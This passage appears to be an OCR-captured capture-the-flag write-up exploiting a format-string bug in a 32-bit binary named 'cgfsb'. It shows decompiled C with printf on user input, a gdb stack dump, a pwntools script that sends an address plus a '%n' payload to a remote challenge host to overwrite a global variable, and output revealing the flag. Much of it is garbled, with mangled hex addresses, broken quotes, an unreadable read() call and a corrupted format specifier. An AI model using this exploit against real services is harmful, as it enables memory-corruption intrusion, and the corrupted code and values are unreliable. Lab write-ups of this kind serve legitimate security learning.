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:~/pwn# checksec cgfsb
[*] '/root/pwn/cgfsb'
Arch: 1386-32-little
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Stack:
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puts(“"please tell me your name:");
read(@, & » BxAu);

puts("leave your message please:");
fgets(&s, 188, stdin);
printf("hello ¥s", &buf)
puts("your message is:™)
printf(&s);

if ( pwnme == 8 )

i}
i}

puts("you pwned me, here is your flag:in");
system("cat flag");

}

else

puts("Thank you!");

}
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leading symbols from cgfsb...({no debugging symbols found)...done.
{gdb) b *0x080486b5
Breakpoint 1 at 0x88486b5

.gdb) r
Starting program: /root/pwn/cgfsb

Breakpoint 1, 8x080486b5 in main ()

(gdb) x/16wx $esp

OxTffffdzab: Ox080487f5 exffffdzbe OxT7fags5ce oxffffd3ec

Oxffffd2bo: xt7ffdabe 0x00000001 OxT7fcd41e Gx6l610001
d2co: Ox000a6161 Ox00000000 Ox61616161 Ox0OOe00

ExTfffd2de: 0x0P000000 0x0P000000 0XPRe00BRR . csdn.nB¥§LA898
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#! /usr/bin/env python

[from pwn import *

H#p=process('./cgfsb")

p=remote('111.198.29.45",36477)

pwnme_addr=0x0804A068

p.sendlineafter("name:\n", 'a'*8)

p.sendlineafter("message please:\n",p32(pwnme_addr)+'a'*4+'%10%n")
print p.recvall()

print p.recvall()
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:~/pwn# python expz.py
[+] Opening connection to 111.198.29.45 on port 36477:
[+] Receiving all data: Done (128B)
[#] Closed connection to 111.198.29.45 port 36477
hello

ge is:
h\ xa@\x0aaaa
rou pwned me, here is your flag:

erpeace{13a8792ad85f7a72875041e806c193f0}

[+] Receiving all data: Done (©B)
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